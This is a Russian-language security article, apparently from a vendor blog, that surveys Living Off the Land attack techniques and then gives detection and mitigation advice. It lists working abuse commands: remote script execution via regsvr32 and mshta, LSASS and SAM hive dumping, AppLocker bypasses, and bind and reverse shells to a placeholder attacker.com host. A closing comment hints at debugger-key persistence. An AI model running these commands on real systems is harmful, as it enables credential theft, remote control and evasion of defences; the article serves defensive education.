Данная статья посвящена обзору целого класса способов и техник атак, направленных на маскирование своей активности и обход имеющихся механизмов защиты и обнаружения. Этот класс техник атак достаточно стар и носит название Living Off the Land, он активно используется злоумышленниками на протяжении последних нескольких десятилетий — сейчас практически ни одна APT атака не обходится без использования данных техник. Они завоевали огромную популярность среди злоумышленников в первую очередь ввиду того, что в силу своей природы позволяют им оставаться ниже радара SOC, маскируясь под легитимные системные события.

Эти техники подразумевают использование имеющихся механизмов ОС и доверенных, не вызывающих подозрения инструментов, для скрытного выполнения кода, горизонтального перемещения, удаленного контроля, сбора данных, повышения привилегий и т.д. Также в статье будут рассмотрены способы обнаружения и противодействия данному классу техник атак.

Семейство Living Off the Land настолько разрослось за последние годы, что для описания всех имеющихся подклассов техник атак был создан отдельный проект LOLOL (Living Off the Living Off the Land). Далее рассмотрим наиболее популярные и актуальные, на наш взгляд, подклассы: LOLBAS, GTFOBins BYOVD, RMM.

LOLBAS

К данной категории относятся исполняемые файлы/скрипты/библиотеки, которые имеют подпись Microsoft либо другого уважаемого вендора или являются нативными для ОС Windows, а также обладают функционалом, которым можно злоупотреблять. К такому функционалу можно отнести:

  • Исполнение файла
    1) pcalua.exe -a file.exe
    2) rundll32.exe \\servername\C$\Windows\Temp\file.dll,EntryPoint
    3) rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();GetObject("script:https://www.example.org/file.ext")
    4) regsvr32.exe /s /n /u /i:https://www.example.org/file.sct scrobj.dll
    5) mshta.exe file.hta
    6) mshta.exe javascript:a=GetObject("script:https://www.example.org/file.sct").Exec();close();
    7) InstallUtil.exe /logfile= /LogToConsole=false /U file.dll
    8) regasm.exe file.dll
    9) regsvcs.exe file.dll
    10) wmic.exe process call create "cmd /c c:\windows\system32\calc.exe"

  • Компиляция кода
    1) csc.exe -out:file.exe file.cs
    2) ilasm.exe C:\Windows\Temp\file.txt /exe
    3) jsc.exe /t:library file.js
    4) vbc.exe /target:exe C:\Windows\Temp\file.vb

  • Файловые операции (загрузка, выгрузка, копирование файлов)
    1) bitsadmin /create 1 bitsadmin /addfile 1 https://live.sysinternals.com/autoruns.exe c:\data\playfolder\autoruns.exe
    2) certoc.exe -GetCACAPS https://www.example.org/file.ps1
    3) type \\servername\C$\Windows\Temp\file.ext > C:\Windows\Temp\file.ext
    4) cmdl32 /vpn /lan %cd%\config
    5) DataSvcUtil /out:C:\Windows\Temp\file.ext /uri:https://www.example.org/file.ext
    6) finger user@example.host.com | more +2 | cmd
    7) makecab \\servername\C$\Windows\Temp\file.exe C:\Windows\Temp\file.cab

  • Добавление в автозагрузку
    1) pnputil.exe -i -a C:\Windows\Temp\file.inf
    2) Update.exe --createShortcut=file.exe -l=Startup

  • Обход UAC
    1) ComputerDefaults.exe
    2) eventvwr.exe

  • Компрометация учетных данных
    1) cmdkey /list
    2) reg save HKLM\SECURITY C:\Windows\Temp\file.1.bak && reg save HKLM\SYSTEM C:\Windows\Temp\file.2.bak && reg save HKLM\SAM C:\Windows\Temp\file.3.bak
    3) findstr /S /I cpassword \\sysvol\policies\*.xml

  • Снятие дампа памяти процесса
    1) rdrleakdiag.exe /p 832 /o C:\Windows\Temp\folder /fullmemdmp /wait 1
    2) TTTracer.exe -dumpFull -attach 1234
    3) rundll32 C:\windows\system32\comsvcs.dll MiniDump {LSASS_PID} dump.bin full

  • Обход application whitelisting
    1) bginfo.exe file.bgi /popup /nolicprompt
    2) regsvcs.exe file.dll
    3) cmstp.exe /ni /s https://www.example.org/file.inf
    4) InstallUtil.exe /logfile= /LogToConsole=false /U file.dll
    5) msdt.exe -path C:\WINDOWS\diagnostics\index\PCWDiagnostic.xml -af C:\Windows\Temp\file.xml /skip TRUE
    6) regasm.exe file.dll
    7) regsvr32.exe /s /u /i:file.sct scrobj.dll
    8) InstallUtil.exe /logfile= /LogToConsole=false /U AllTheThings.dll
    9) msbuild.exe Msbuild.csproj
    10) mshta.exe javascript:a=GetObject("script:https://gist.github.com/someone/something.sct").Exec();close()
    11) Presentationhost.exe file:///IPAddressOrDomainName/Evil.xbap

    В данном пункте особое внимание стоит уделить инструментам regasm.exe, regsvr32.exe, InstallUtil.exe, msbuild.exe, mshta.exe, Presentationhost.exe, т.к. с их помощью можно осуществить обход AppLocker с дефолтными правилами, который довольно часто можно встретить в корпоративных сетях.

  • Техника атаки DLL sideloading / hijacking также относится к категории LOLBAS, сложно детектируется и широко применяется в APT атаках для обхода антивирусов/EDR, application whitelisting. Одним из самых разрушительных случаев применения данной техники можно назвать атаку шифровальщика REvil на MSP Kaseya в 2021 г., когда для загрузки и выполнения вредоносной библиотеки был использован доверенный исполняемый файл Windows Defender MsMpEng.exe.

GTFOBins

К данной категории относятся доверенные, нативные исполняемые файлы Unix, которые предоставляют возможности для злоупотребления следующим функционалом:

  • Запуск интерактивной командной оболочки
    1) busybox sh
    2) find . -exec /bin/sh \; -quit
    3) gcc -wrapper /bin/sh,-s .
    4) nmap --interactive
    nmap> !sh
    5) perl -e 'exec "/bin/sh";'
    6) export CMD="/bin/sh"
    php -r 'system(getenv("CMD"));'
    7) python -c 'import os; os.system("/bin/sh")'

  • Bind shell
    1) nc -l -p 12345 -e /bin/sh
    2) socat TCP-LISTEN:12345,reuseaddr,fork EXEC:/bin/sh,pty,stderr,setsid,sigint,sane
    3) socket -svp '/bin/sh -i' 12345

  • Reverse shell
    1) export RHOST=attacker.com
    export RPORT=12345
    bash -c 'exec bash -i &>/dev/tcp/$RHOST/$RPORT <&1'

    2) export RHOST=attacker.com
    export RPORT=12345
    perl -e 'use Socket;$i="$ENV{RHOST}" $p=$ENV{RPORT};socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

    3) export RHOST=attacker.com
    export RPORT=12345
    php -r '$sock=fsockopen(getenv("RHOST"),getenv("RPORT"));exec("/bin/sh -i <&3 >&3 2>&3");'

    4) export RHOST=attacker.com
    export RPORT=12345
    python -c 'import sys,socket,os,pty;s=socket.socket()
    s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))))
    [os.dup2(s.fileno(),fd) for fd in (0,1,2)]
    pty.spawn("/bin/sh")'

    5) export RHOST=attacker.com
    export RPORT=12345
    ruby -rsocket -e 'exit if fork;c=TCPSocket.new(ENV["RHOST"],ENV["RPORT"]);while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'

BYOVD

К данной категории атак относятся техники, направленные на эксплуатацию уязвимостей драйверов. Ввиду того, что драйверы работают на самом низком и привилегированном уровне ОС (ring 0), они имеют прямой доступ к процессору, памяти, устройствам ввода-вывода и т.д. Как результат, выполнение кода на этом уровне может нести крайне разрушительные последствия — от повышения привилегий и компрометации данных аутентификации до отключения защитных функций ОС и сокрытия вредоносной активности. На практике уязвимые драйвера часто используют для отключения и деактивации СЗИ, которые сами функционируют на уровне ядра ОС и обладают функционалом самозащиты (антивирусы, EDR), вследствие чего их невозможно деактивировать на уровне ring 3 (user mode). Это достигается путем завершения процессов СЗИ, удаления установленных callback функций на уровне ядра (kernel notifications), закрытия хендлов процесса, отключения механизма PPL (Protected Process Light), деактивации механизма проверки подписи драйверов и т.д. Проблема заключается также и в том, что существует довольно много легитимных инструментов, используемых для диагностики проблем ОС, расследования инцидентов, имеющих в своем составе уязвимые драйверы, функционал которых может быть использован в злонамеренных целях. Примером тому являются такие популярные инструменты, как Process Explorer, Process Hacker, Gmer. На данный момент насчитывается более 700 уязвимых легитимных драйверов, список которых регулярно пополняется в проекте Living Off The Land Drivers (LOLDrivers). Необходимым условием для реализации данной техники (установки уязвимого драйвера) является наличие прав администратора и обход UAC, что, тем не менее, не снижает ее популярности в том числе среди вирусов-шифровальщиков (RobbinHood ransomware campaign, BlackByte ransomware campaign, The criminals signed their AV-killer malware, closely related to one known as BURNTCIGAR, multiple incidents involving AuKill).

RMM

После получения первоначального доступа и закрепления на скомпрометированных узлах злоумышленнику важно обеспечить удаленный контроль, при этом как можно дольше оставаясь незамеченным. Для решения данной задачи широко применяются утилиты Remote Monitoring and Management, большая часть которых является легитимным ПО и имеет подпись вендора. Простота и удобство данных утилит делает их популярными среди системных администраторов, что играет на руку злоумышленникам, позволяя им длительное время оставаться ниже радара SOC. Наиболее часто используемыми являются PsExec, Ammy Admin, AnyDesk, TeamViewer, DameWare.

Обнаружение и предотвращение

1. Регулярное пополнение и актуализация базы корреляционных правил своей SIEM на основе экспертизы, взятой из проектов Sigma rules, Elastic security, Mitre CAR, а также из TI отчетов исследовательских групп

https://thedfirreport.com/
https://www.welivesecurity.com/
https://research.checkpoint.com/
https://unit42.paloaltonetworks.com/
https://www.group-ib.com/blog/
https://bi.zone/expertise/blog/
https://securelist.ru/

При разработке корреляционных правил для своих SIEM/EDR мы в Security Vision активно пользуемся экспертизой из представленных выше источников.

2. Использование решений класса EDR, а также бесплатных решений – Sysmon, Wazuh Osquery, Velociraptor.

В качестве конфигурации для Sysmon рекомендуется использовать Sysmon-modular.

3. Использование решений класса UEBA, позволяющие выявлять аномалии и отклонения от сформированного профиля эталонного поведения пользователя и узла сети. Данный подход мы используем в своем продукте Security Vision UEBA, он хорошо зарекомендовал себя на практике и позволяет выявлять активности, которые сложно покрываются корреляционными правилами SIEM ввиду большого количества ложных срабатываний (как пример, запуск powershell на АРМ бухгалтера или обращение к github со стороны АРМ юриста).

4. Использование принципа минимальных привилегий. Не выдавать пользователям права локального администратора / root на АРМ, если это не требуется в рамках выполнения сотрудником своих служебных обязанностей.

5. Для обнаружения и предотвращения BYOVD использовать привила блокировки уязвимых драйеров от Microsoft, а также sysmon с конфигурацией, нацеленной на блокировку создания уязвимых драйверов по хешу файла.

6. При хантинге следов LOLBAS на конечных узлах в качестве хостовых индикаторов выступают т.н. Evidence of Execution (журналы Prefetch, AmCache, AppCompatCache, ShimCache и т. д.), а также события журнала безопасности Windows – Eventid 4688 (Process Creation), Eventid 5156, 5158 (Windows Firewall), журнал Sysmon – Eventid 1 (Process Creation). Полезным сетевым индикатором является User-Agent – “Microsoft-CryptoAPI” (certutil.exe), “Microsoft BITS” (bitsadmin.exe).

7. При обнаружении активности LOLBAS на сетевом уровне помимо упомянутого выше User-Agent важно обращать внимание на сетевую телеметрию таких протоколов, как LDAP, RPC, SMB, WMI. С данной задачей хорошо справляются решения класса NTA либо бесплатные решения – Malcolm / Zeek (об их использовании при расследовании инцидентов мы писали в статье).

8. По возможности необходимо блокировать утилиты LOLBAS средствами AppLocker, WDAC либо другими решениями Application Whitelisting, если их использование не требуется в рамках выполнения рабочих процессов. Далее по ссылке представлен полный перечень утилит LOLBAS, рекомендуемых Microsoft к блокировке.

9. Использовать SELinux, AppArmor для блокировки запуска GTFOBins утилит на Linux узлах.

10.К LOLBAS относится также powershell, а также его многочисленные командлеты и модули (в т.ч. часто используемый злоумышленниками модуль Active Directory), направленные на сбор данных о сети/домене, выполнение кода, горизонтальное перемещение и т. д. Для обнаружения данной активности необходимо включить логирование Powershell: module logging (Eventid 4103), script block logging (Eventid 4104), transcription logging. Также рекомендуется активировать Constrained Language Mode для предотвращения выполнения небезопасных powershell командлетов и скриптов.

11. При расследовании инцидентов с применением техник DLL sideloading / hijacking, которые являются одними из наиболее сложно детектируемых в классе LOLBAS, индикаторы данных техник можно обнаружить с помощью специализированных сканеров DLLHound, Crassus.

12. Хорошие результаты при обнаружении индикаторов LOL техник, а также выстраивания таймлайна атаки, на отдельно взятом узле с помощью Sigma правил (особенно в случае отсутствия индикаторов на стороне SIEM либо большого количества ложных сработок) могут показать сканеры Chainsaw, Zircolite, Hayabusa.

Заключение

Ввиду своей эффективности и простоты техники Living Off the Land еще долгое время будут оставаться популярными у злоумышленников при проведении атак. Для их обнаружения и противодействия необходимо с одной стороны регулярно пополнять базу знаний о новых способах атак для их своевременного обнаружения, с другой – соблюдать принцип минимальных привилегий на АРМ пользователей и по возможности блокировать LOL инструменты средствами Application Whitelisting.

Комментарии (1)


  1. anzay911
    09.10.2025 10:46

    [HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options] - выбирай Debugger по вкусу.